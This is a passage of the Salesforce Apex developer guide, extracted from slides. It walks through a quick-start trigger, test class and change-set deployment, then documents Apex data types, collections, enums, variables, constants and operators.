  • 46. Apex Quick Start Adding an Apex Trigger Notice the __c after the field name Price__c. This indicates it is a custom field that you created. Standard fields that are provided by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't end with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies it by 0.9, which means its value will be discounted by 10%, and then stores the new value into the b.Price__c field. The *= operator is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Understanding Expression Operators on page 39. 4. Click Save to save the new class. You should now have this full class definition. public class MyHelloWorld { public static void applyDiscount(Book__c[] books) { for (Book__c b :books){ b.Price__c *= 0.9; } } } You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is part of the applyDiscount static method called by the trigger that you will create in the next step. Adding an Apex Trigger Prerequisites: • • A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer organization. The MyHelloWorld Apex class. In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld class that you created in the previous step. A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All triggers run in bulk; that is, they process several records at once. 1. From Setup, click Create > Objects and click the name of the object you just created, Book. 2. In the triggers section, click New. 3. In the trigger editor, delete the default template code and enter this trigger definition: trigger HelloWorldTrigger on Book__c (before insert) { Book__c[] books = Trigger.new; MyHelloWorld.applyDiscount(books); } The first line of code defines the trigger: trigger HelloWorldTrigger on Book__c (before insert) { It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database. The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and 22
  • 47. Apex Quick Start Adding a Test Class provide access to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted. Book__c[] books = Trigger.new; The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books. MyHelloWorld.applyDiscount(books); You now have all the code that is needed to update the price of all books that get inserted. However, there is still one piece of the puzzle missing. Unit tests are an important part of writing code and are required. In the next step, you will see why this is so and you will be able to add a test class. Adding a Test Class Prerequisites: • • A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer organization. The HelloWorldTrigger Apex trigger. In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class. Note: Testing is an important part of the development process. Before you can deploy Apex or package it for the Force.com AppExchange, the following must be true. • At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully. Note the following. ◊ ◊ ◊ ◊ • • When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage. Test methods and test classes are not counted as part of Apex code coverage. While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests. Every trigger must have some test coverage. All classes and triggers must compile successfully. 1. From Setup, click Develop > Apex Classes and click New. 2. In the class editor, add this test class definition, and then click Save. @isTest private class HelloWorldTestClass { static testMethod void validateHelloWorld() { Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100); System.debug('Price before inserting new book: ' + b.Price__c); // Insert book insert b; // Retrieve the new book b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id]; 23
  • 48. Apex Quick Start Adding a Test Class System.debug('Price after trigger fired: ' + b.Price__c); // Test that the trigger correctly updated the price System.assertEquals(90, b.Price__c); } } This class is defined using the @isTest annotation. Classes defined as such can only contain test methods. One advantage to creating a separate class for testing is that classes defined with isTest don't count against your organization limit of 3 MB for all Apex code. You can also add the @isTest annotation to individual methods. For more information, see IsTest Annotation on page 80 and Understanding Execution Governors and Limits. The method validateHelloWorld is defined as a testMethod. This means that if any changes are made to the database, they are automatically rolled back when execution completes and you don't have to delete any test data created in the test method. First the test method creates a new book and inserts it into the database temporarily. The System.debug statement writes the value of the price in the debug log. Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100); System.debug('Price before inserting new book: ' + b.Price__c); // Insert book insert b; Once the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it was inserted, and then logs the new price that the trigger modified: // Retrieve the new book b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id]; System.debug('Price after trigger fired: ' + b.Price__c); When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following line is the actual test, verifying that the method applyDiscount actually ran and produced the expected result: // Test that the trigger correctly updated the price System.assertEquals(90, b.Price__c); 3. Now let’s switch to the Developer Console to run this test and view code coverage information. Click Your Name > Developer Console. The Developer Console window opens. 4. In the Developer Console, click Test > New Run. 5. To add your test class, click HelloWorldTestClass, and then click >. 6. To run the test, click Run. The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run. In this case, the class contains only one test method. 7. The Overall Code Coverage pane shows the code coverage of this test class. To view the lines of code in the trigger covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Also, because the trigger calls a method from the MyHelloWorld class, this class has some coverage too (100%). To view the class coverage, double-click MyHelloWorld. 8. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including logging information about the trigger event, the call to the applyDiscount class method, and the debug output of the price before and after the trigger. By now, you have completed all the steps necessary for writing some Apex code with a test that runs in your development environment. In the real world, after you’ve sufficiently tested your code and you’re satisfied with it, you want to deploy the 24
  • 49. Apex Quick Start Deploying Components to Production code along with any other prerequisite components to a production organization. The next step will show you how to do this for the code and custom object you’ve just created. Deploying Components to Production Prerequisites: • • • • A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization. The HelloWorldTestClass Apex test class. A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by the production organization. See “Change Sets Overview” in the Salesforce online help. Create and Upload Change Sets user permissions to create, edit, or upload outbound change sets. In this step, you deploy the Apex code and the custom object you created previously to your production organization using change sets. This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise, or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more information, see Deploying Apex. 1. 2. 3. 4. 5. 6. From Setup, click Deploy > Outbound Changesets. If a splash page appears, click Continue. In the Change Sets list, click New. Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save. In the Change Set Components section, click Add. Select Apex Class from the component type drop-down list, then select the MyHelloWorld and the HelloWorldTestClass classes from the list and click Add to Change Set. 7. Click View/Add Dependencies to add the dependent components. 8. Select the top checkbox to select all components. Click Add To Change Set. 9. In the Change Set Detail section of the change set page, click Upload. 10. Select the target organization, in this case production, and click Upload. 11. After the change set upload completes, deploy it in your production organization. a. b. c. d. e. Log into your production organization. From Setup, click Deploy > Inbound Change Sets. If a splash page appears, click Continue. In the change sets awaiting deployment list, click your change set's name. Click Deploy. In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned how to test your code, and how to upload the code and the custom object using Change Sets. 25
  • 50. WRITING APEX Chapter 4 Data Types and Variables In this chapter ... • • • • • • • • • Data Types Primitive Data Types Collections Enums Variables Constants Expressions and Operators Assignment Statements Understanding Rules of Conversion In this chapter you’ll learn about data types and variables in Apex. You’ll also learn about related language constructs—enums, constants, expressions, operators, and assignment statements. 26
  • 51. Data Types and Variables Data Types Data Types In Apex, all variables and expressions have a data type that is one of the following: • • • A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 27) An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see sObject Types on page 99 in Chapter 4.) A collection, including: ◊ A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page 30) ◊ A set of primitives (see Sets on page 32) ◊ A map from a primitive to a primitive, sObject, or collection (see Maps on page 33) • • • • A typed list of values, also known as an enum (see Enums on page 34) Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 54) Objects created from system supplied Apex classes Null (for the null constant, which can be assigned to any variable) Methods can return values of any of the listed types, or return no value and be of type Void. Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of the error. For more information, see Debugging Apex on page 328. Primitive Data Types Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value. All Apex variables, whether they’re class member variables or method variables, are initialized to null. Make sure that you initialize your variables to appropriate values before using them. For example, initialize a Boolean variable to false. Apex primitive data types include: Data Type Description Blob A collection of binary data stored as a single object. You can convert this datatype to String or from String using the toString and valueOf methods, respectively. Blobs can be accepted as Web service arguments, stored in a document (the body of a document is a Blob), or sent as attachments. For more information, see Crypto Class. Boolean A value that can only be assigned true, false, or null. For example: Boolean isWinner = true; Date A value that indicates a particular day. Unlike Datetime values, Date values contain no information about time. Date values must always be created with a system static method. You cannot manipulate a Date value, such as add days, merely by adding a number to a Date variable. You must use the Date methods instead. 27
  • 52. Data Types and Variables Primitive Data Types Data Type Description Datetime A value that indicates a particular day and time, such as a timestamp. Datetime values must always be created with a system static method. You cannot manipulate a Datetime value, such as add minutes, merely by adding a number to a Datetime variable. You must use the Datetime methods instead. Decimal A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields are automatically assigned the type Decimal. If you do not explicitly set the scale, that is, the number of decimal places, for a Decimal using the setScale method, the scale is determined by the item from which the Decimal is created. • • • Double If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query. If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String. If the Decimal is created from a non-decimal number, the scale is determined by converting the number to a String and then using the number of characters after the decimal point. A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum value of 263-1. For example: Double d=3.14159; Note that scientific notation (e) for Doubles is not supported. ID Any valid 18-character Force.com record identifier. For example: ID id='00300000003T2PGAA0'; Note that if you set ID to a 15-character value, Apex automatically converts the value to its 18-character representation. All invalid ID values are rejected with a runtime exception. Integer A 32-bit number that does not include a decimal point. Integers have a minimum value of -2,147,483,648 and a maximum value of 2,147,483,647. For example: Integer i = 1; Long A 64-bit number that does not include a decimal point. Longs have a minimum value of -263 and a maximum value of 263-1. Use this datatype when you need a range of values wider than those provided by Integer. For example: Long l = 2147483648L; String Any set of characters surrounded by single quotes. For example, String s = 'The quick brown fox jumped over the lazy dog.'; String size: Strings have no limit on the number of characters they can include. Instead, the heap size limit is used to ensure that your Apex programs don't grow too large. 28
  • 53. Data Types and Variables Data Type Primitive Data Types Description Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in the SOAP API: they can never be empty (only null), and they can never include leading and trailing whitespace. These conventions are necessary for database storage. Conversely, Strings in Apex can be null or empty, and can include leading and trailing whitespace (such as might be used to construct a message). The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is created or updated. In the following example, when the Solution displays on a detail page, the SolutionNote field has H1 HTML formatting applied to it: trigger t on Solution (before insert) { Trigger.new[0].SolutionNote ='<h1>hello</h1>'; } In the following example, when the Solution displays on a detail page, the SolutionNote field only contains HelloGoodbye: trigger t2 on Solution (before insert) { Trigger.new[0].SolutionNote = '<javascript>Hello</javascript>Goodbye'; } For more information, see “HTML Solutions Overview” in the Salesforce online help. Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: b (backspace), t (tab), n (line feed), f (form feed), r (carriage return), " (double quote), ' (single quote), and (backslash). Comparison Operators: Unlike Java, Apex Strings support use of the comparison operators ==, !=, <, <=, >, and >=. Since Apex uses SOQL comparison semantics, results for Strings are collated according to the context user's locale, and `are not case sensitive. For more information, see Operators on page 39. String Methods: As in Java, Strings can be manipulated with a number of standard methods. See String Class for information. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. Time A value that indicates a particular time. Time values must always be created with a system static method. See Time Class. In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods: • • AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within the Force.com platform database exclusively for sObject fields in field history tracking tables. Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex. 29
  • 54. Data Types and Variables Collections For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce and Force.com. Collections Apex has the following types of collections: • • • Lists Maps Sets Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size. Lists A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table is a visual representation of a list of Strings: Index 0 Index 1 Index 2 Index 3 Index 4 Index 5 'Red' 'Orange' 'Yellow' 'Green' 'Blue' 'Purple' The index position of the first element in a list is always 0. Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list of lists of sets of Integers. A list can contain up to four levels of nested collections inside it, that is, a total of five levels overall. To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For example: // Create an empty list of String List<String> my_list = new List<String>(); // Create a nested list List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>(); To access elements in a list, use the List methods provided by Apex. For example: List<Integer> myList = new List<Integer>(); // Define a new list myList.add(47); // Adds a second element of value 47 to the end // of the list Integer i = myList.get(0); // Retrieves the element at index 0 myList.set(0, 1); // Adds the integer 1 to the list at index 0 myList.clear(); // Removes all elements from the list For more information, including a complete list of all supported methods, see List Class on page 1055. 30
  • 55. Data Types and Variables Lists Using Array Notation for One-Dimensional Lists When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the [] characters: String[] colors = new List<String>(); These two statements are equivalent to the previous: List<String> colors = new String[1]; String[] colors = new String[1]; To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square brackets. For example: colors[0] = 'Green'; Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]), lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can add two or more elements to the colors list. But if you’re using square brackets to add an element to a list, the list behaves like an array and isn’t elastic, that is, you won’t be allowed to add more elements than the declared array size. All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example: Example Description List<Integer> ints = new Integer[0]; Defines an Integer list of size zero with no elements List<Integer> ints = new Integer[6]; Defines an Integer list with memory allocated for six Integers List Sorting You can sort list elements and the sort order depends on the data type of the elements. Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such as strings. The sort order of other more complex data types is described in the chapters covering those data types. This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list. List<String> colors = new List<String>{ 'Yellow', 'Red', 'Green'}; colors.sort(); System.assertEquals('Green', colors.get(0)); System.assertEquals('Red', colors.get(1)); System.assertEquals('Yellow', colors.get(2)); For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the sequence of comparison steps used for SelectOption. 31
  • 56. Data Types and Variables Sets Default Sort Order for SelectOption The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this comparison sequence. 1. The value field is used for sorting first. 2. If two value fields have the same value or are both empty, the label field is used. Note that the disabled field is not used for sorting. For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order. In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field (‘A’). The List.sort method sorts these two elements based on the label field, and places Mexico before United States, as shown in the output. The last element in the sorted list is Canada and is sorted on its value field ‘C’, which comes after ‘A’. List<SelectOption> options = new List<SelectOption>(); options.add(new SelectOption('A','United States')); options.add(new SelectOption('C','Canada')); options.add(new SelectOption('A','Mexico')); System.debug('Before sorting: ' + options); options.sort(); System.debug('After sorting: ' + options); This is the output of the debug statements. It shows the list contents before and after the sort. DEBUG|Before sorting: (System.SelectOption[value="A", label="United States", disabled="false"], System.SelectOption[value="C", label="Canada", disabled="false"], System.SelectOption[value="A", label="Mexico", disabled="false"]) DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"], System.SelectOption[value="A", label="United States", disabled="false"], System.SelectOption[value="C", label="Canada", disabled="false"]) Sets A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a set of strings, that uses city names: 'San Francisco' 'New York' 'Paris' 'Tokyo' Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can contain up to four levels of nested collections inside it, that is, up to five levels overall. To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example: new Set<String>() The following are ways to declare and populate a set: Set<String> s1 = new Set<String>{'a', 'b + c'}; // Defines a new set with two elements Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the // elements of the set created in the previous step 32
  • 57. Data Types and Variables Maps To access elements in a set, use the system methods provided by Apex. For example: Set<Integer> s = new Set<Integer>(); s.add(1); System.assert(s.contains(1)); s.remove(1); // // // // Define Add an Assert Remove a new set element to the set that the set contains an element the element from the set For more information, including a complete list of all supported set system methods, see Set Class on page 1157. Note the following limitations on sets: • • Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example, HashSet or TreeSet). Apex uses a hash structure for all sets. A set is an unordered collection. Do not rely on the order in which set results are returned. The order of objects returned by sets may change without warning. Maps A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a map of countries and currencies: Country (Key) 'United States' 'Japan' 'France' 'England' 'India' Currency (Value) 'Dollar' 'Yen' 'Euro' 'Pound' 'Rupee' Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to maps, which, in turn, map Strings to lists. Map keys can contain up to only four levels of nested collections. To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example: Map<String, String> country_currencies = new Map<String, String>(); Map<ID, Set<String>> m = new Map<ID, Set<String>>(); You can use the generic or specific sObject data types with maps (you’ll learn more about maps with sObjects in a later chapter). You can also create a generic instance of a map. As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces, specify the key first, then specify the value for that key using =>. For example: Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' => 'd'.toUpperCase()}; In the first example, the value for the key a is b, and the value for the key c is d. To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys. Map<Integer, String> m = new Map<Integer, String>(); // Define a new map m.put(1, 'First entry'); // Insert a new key-value pair in the map m.put(2, 'Second entry'); // Insert a new key-value pair in the map System.assert(m.containsKey(1)); // Assert that the map contains a key String value = m.get(2); // Retrieve a value, given a particular key System.assertEquals('Second entry', value); Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the map 33
  • 58. Data Types and Variables Parameterized Typing For more information, including a complete list of all supported Map methods, see Map Class on page 1068. Map Considerations • • • • • • Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for example, HashMap or TreeMap). Apex uses a hash structure for all maps. Do not rely on the order in which map results are returned. The order of objects returned by maps may change without warning. Always access map elements by key. A map key can hold the null value. Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new entry. Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as distinct. Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field values. Parameterized Typing Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that variable can be used. For example, the following is legal in Apex: Integer x = 1; The following is not legal if x has not been defined earlier: x = 1; Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be replaced with an actual data type upon construction of the list, map or set. For example: List<String> myList = new List<String>(); Subtyping with Parameterized Lists In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal: List<String> slst = new List<String> {'foo', 'bar'}; List<Object> olst = slst; Enums An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically used to define a set of possible values that don’t otherwise have a numerical order, such as the suit of a card, or a particular season of the year. Although each value corresponds to a distinct integer value, the enum hides this implementation so that you don’t inadvertently misuse the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types can be declared of that type. Note: Unlike Java, the enum type itself has no constructor syntax. 34
  • 59. Data Types and Variables Enums To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example, the following code creates an enum called Season: public enum Season {WINTER, SPRING, SUMMER, FALL} By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might any other data type. For example: Season e = Season.WINTER; Season m(Integer x, Season e) { if (e == Season.SUMMER) return e; //... } You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition. public enum MyEnumClass { X, Y } You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you assign to it must be an instance of that enum class. Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes definitions for the enum and its values, which can then be used by the API client. Apex provides the following system-defined enums: • System.StatusCode This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example: StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help. • System.XmlTag: This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information, see XmlStreamReader Class. • System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode Enum. • System.LoggingLevel: This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System Class. • System.RoundingMode: This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as the Decimal divide method and the Double round method. For more information, see Rounding Mode. • System.SoapType: This enum is returned by the field describe result getSoapType method. For more informations, see SOAPType Enum. 35
  • 60. Data Types and Variables • Variables System.DisplayType: This enum is returned by the field describe result getType method. For more information, see DisplayType Enum. • System.JSONToken: This enum is used for parsing JSON content. For more information, see JSONToken Enum. • ApexPages.Severity: This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum. • Dom.XmlNodeType: This enum specifies the node type in a DOM document. Note: System-defined enums cannot be used in Web service methods. All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods. You cannot add user-defined methods to enum values. Variables Local variables are declared with Java-style syntax. For example: Integer i = 0; String str; List<String> strList; Set<String> s; Map<ID, String> m; As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example: Integer i, j, k; Null Variables and Initial Values If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value. You can also assign null to any variable declared with a primitive type. For example, both of these statements result in a variable set to null: Boolean x = null; Decimal d; Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception (NullPointerException) Date d; d.addDays(2); All variables are initialized to null if they aren’t assigned a value. For instance, in the following example, i, and k are assigned values, while the integer variable j and the boolean variable b are set to null because they aren’t explicitly initialized. Integer i = 0, j, k = 1; Boolean b; 36
  • 61. Data Types and Variables Constants Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isn’t the case. Like all other variables, boolean variables are null if not assigned a value explicitly. Variable Scope Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can’t redefine a variable name that has already been used in a parent block, but parallel blocks can reuse a variable name. For example: Integer i; { // Integer i; } This declaration is not allowed for (Integer j = 0; j < 10; j++); for (Integer j = 0; j < 10; j++); Case Sensitivity To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means: • Variable and method names are case-insensitive. For example: Integer I; //Integer i; • This would be an error. References to object and field names are case-insensitive. For example: Account a1; ACCOUNT a2; • SOQL and SOSL statements are case- insensitive. For example: Account[] accts = [sELect ID From ACCouNT where nAme = 'fred']; Note: You’ll learn more about sObjects, SOQL and SOSL later in this guide. Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently, in Apex, the following expressions all evaluate to true: String s; System.assert('a' == 'A'); System.assert(s < 'b'); System.assert(!(s > 'b')); Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because you’re trying to compare a letter to a null value. Constants Apex constants are variables whose values don’t change after being initialized once. 37
  • 62. Data Types and Variables Expressions and Operators Constants can be defined using the final keyword, which means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer method if the constant is defined in a class. This example declares two constants. The first is initialized in the declaration statement. The second is assigned a value in a static block by calling a static method. public class myCls { static final Integer PRIVATE_INT_CONST = 200; static final Integer PRIVATE_INT_CONST2; public static Integer calculate() { return 2 + 7; } static { PRIVATE_INT_CONST2 = calculate(); } } For more information, see Using the final Keyword on page 74. Expressions and Operators An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. This section provides an overview of expressions in Apex and contains the following: • • • • • Understanding Expressions Understanding Expression Operators Understanding Operator Precedence Expanding sObject and List Expressions Using Comments Understanding Expressions An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex, an expression is always one of the following types: • A literal expression. For example: 1 + 1 • A new sObject, Apex object, list, set, or map. For example: new new new new new new new • Account(<field_initializers>) Integer[<n>] Account[]{<elements>} List<Account>() Set<String>{} Map<String, Integer>() myRenamingClass(string oldName, string newName) Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and most sObject or Apex object field references. For example: Integer i myList[3] myContact.name myRenamingClass.oldName 38
  • 63. Data Types and Variables Understanding Expression Operators Any sObject field reference that is not an L-value, including: • ◊ The ID of an sObject in a list (see Lists) ◊ A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type of expression yields a query result, much like SOQL and SOSL queries. A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example: • Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme']; Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman']; List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead]; For information, see SOQL and SOSL Queries on page 125. A static or instance method invocation. For example: • System.assert(true) myRenamingClass.replaceNames() changePoint(new Point(x, y)); Understanding Expression Operators Expressions can also be joined to one another with operators to create compound expressions. Apex supports the following operators: Operator Syntax Description = x = y Assignment operator (Right associative). Assigns the value of y to the L-value x. Note that the data type of x must match the data type of y, and cannot be null. += x += y Addition assignment operator (Right associative). Adds the value of y to the original value of x and then reassigns the new value to x. See + for additional information. x and y cannot be null. *= x *= y Multiplication assignment operator (Right associative). Multiplies the value of y with the original value of x and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null. -= x -= y Subtraction assignment operator (Right associative). Subtracts the value of y from the original value of x and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null. /= x /= y Division assignment operator (Right associative). Divides the original value of x with the value of y and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null. 39
  • 64. Data Types and Variables Understanding Expression Operators Operator Syntax Description |= x |= y OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean, are both false, then x remains false. Otherwise, x is assigned the value of true. Note: • • &= x &= y This operator exhibits “short-circuiting” behavior, which means y is evaluated only if x is false. x and y cannot be null. AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean, are both true, then x remains true. Otherwise, x is assigned the value of false. Note: • • This operator exhibits “short-circuiting” behavior, which means y is evaluated only if x is true. x and y cannot be null. <<= x <<= y Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits so that the high order bits are lost, and the new right bits are set to 0. This value is then reassigned to x. >>= x >>= y Bitwise shift right signed assignment operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for positive values of y and 1 for negative values of y. This value is then reassigned to x. >>>= x >>>= y Bitwise shift right unsigned assignment operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for all values of y. This value is then reassigned to x. ? : x ? y : z Ternary operator (Right associative). This operator acts as a short-hand for if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the result. Note that x cannot be null. && x && y AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both true, then the expression evaluates to true. Otherwise the expression evaluates to false. Note: • • • || x || y && has precedence over || This operator exhibits “short-circuiting” behavior, which means y is evaluated only if x is true. x and y cannot be null. OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both false, then the expression evaluates to false. Otherwise the expression evaluates to true. Note: • && has precedence over || 40
